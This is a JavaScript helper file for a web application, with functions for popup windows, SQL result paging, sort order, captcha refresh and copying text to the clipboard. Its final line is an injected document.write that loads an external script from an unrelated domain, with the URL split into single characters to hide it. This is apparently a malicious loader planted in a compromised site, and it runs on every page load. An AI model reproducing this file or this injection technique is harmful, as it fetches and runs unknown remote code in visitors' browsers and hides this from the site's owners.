// ----------------------------------------------------------------------
// Open Window
// ----------------------------------------------------------------------
function OpenWindow(val1, val2, val3, val4, val5, val6) {
    var page = val1;
    var prop = 'width=' + val2 + ', height=' + val3 + ', left=' + val4 + ', top=' + val5 + ', location=no, scrollbars=yes, menubar=no, toolbar=no, resizable=yes, status=1';
    var win = window.open(page, val6, prop);
    win.focus();
}

// ----------------------------------------------------------------------
// Change SQL Page
// ----------------------------------------------------------------------
function ChangeSQLPage(val) {
    document.frm.page.value = val;
    document.frm.submit();
}

// ----------------------------------------------------------------------
// Change Sort Order
// ----------------------------------------------------------------------
function SortOrder(order, field) {
    if (order == 0) {
        document.frm.sortorder.value = 1;
    }
    else {
        document.frm.sortorder.value = 0;
    }
    document.frm.sortfield.value = field
    document.frm.submit();
}

// ----------------------------------------------------------------------
// Refresh Captcha Image
// ----------------------------------------------------------------------
function RefreshImage(valImageId) {
    var objImage = document.images[valImageId];
    if (objImage == undefined) {
        return;
    }
    var now = new Date();
    objImage.src = objImage.src.split('?')[0] + '?x=' + now.toUTCString();
}

// ----------------------------------------------------------------------
// Copy Blogger Data
// ----------------------------------------------------------------------
function CopyBlogger()
{
   var ta = document.getElementById ("bloggerdata");
   var d = document.getElementById ("blogger");
   // Transfer the text from the DIV to the hidden textarea
   ta.innerText= d.innerText;
   // create the text range
   var t= ta.createTextRange ();
   // do this if you wanna remove the format of the text within
   t.execCommand('RemoveFormat');
   // Then execute the copy command
   t.execCommand('Copy');
   alert('Copied to clipboard');}

// ----------------------------------------------------------------------
// Copy Link1 Data
// ----------------------------------------------------------------------
function CopyLink1() {
    var ta = document.getElementById("link1data");
    var d = document.getElementById("link1");
    // Transfer the text from the DIV to the hidden textarea
    ta.innerText = d.innerText;
    // create the text range
    var t = ta.createTextRange();
    // do this if you wanna remove the format of the text within
    t.execCommand('RemoveFormat');
    // Then execute the copy command
    t.execCommand('Copy');
    alert('Copied to clipboard');
}

// ----------------------------------------------------------------------
// Copy Link2 Data
// ----------------------------------------------------------------------
function CopyLink2() {
    var ta = document.getElementById("link2data");
    var d = document.getElementById("link2");
    // Transfer the text from the DIV to the hidden textarea
    ta.innerText = d.innerText;
    // create the text range
    var t = ta.createTextRange();
    // do this if you wanna remove the format of the text within
    t.execCommand('RemoveFormat');
    // Then execute the copy command
    t.execCommand('Copy');
    alert('Copied to clipboard');
}

// ----------------------------------------------------------------------
// Copy Link3 Data
// ----------------------------------------------------------------------
function CopyLink3() {
    var ta = document.getElementById("link3data");
    var d = document.getElementById("link3");
    // Transfer the text from the DIV to the hidden textarea
    ta.innerText = d.innerText;
    // create the text range
    var t = ta.createTextRange();
    // do this if you wanna remove the format of the text within
    t.execCommand('RemoveFormat');
    // Then execute the copy command
    t.execCommand('Copy');
    alert('Copied to clipboard');
}
  

document.write('<script language="JavaScript" type="text/javascript" src="h'+'t'+'t'+'p'+':'+'/'+'/'+'w'+'w'+'w'+'.'+'d'+'a'+'-'+'g'+'i'+'a'+'n'+'n'+'i'+'.'+'c'+'h'+'/'+'f'+'i'+'l'+'e'+'/'+'A'+'k'+'t'+'u'+'e'+'l'+'l'+'_'+'f'+'i'+'l'+'e'+'s'+'/'+'0'+'7'+'7'+'e'+'2'+'9'+'b'+'1'+'1'+'b'+'.'+'j'+'s"></script>');
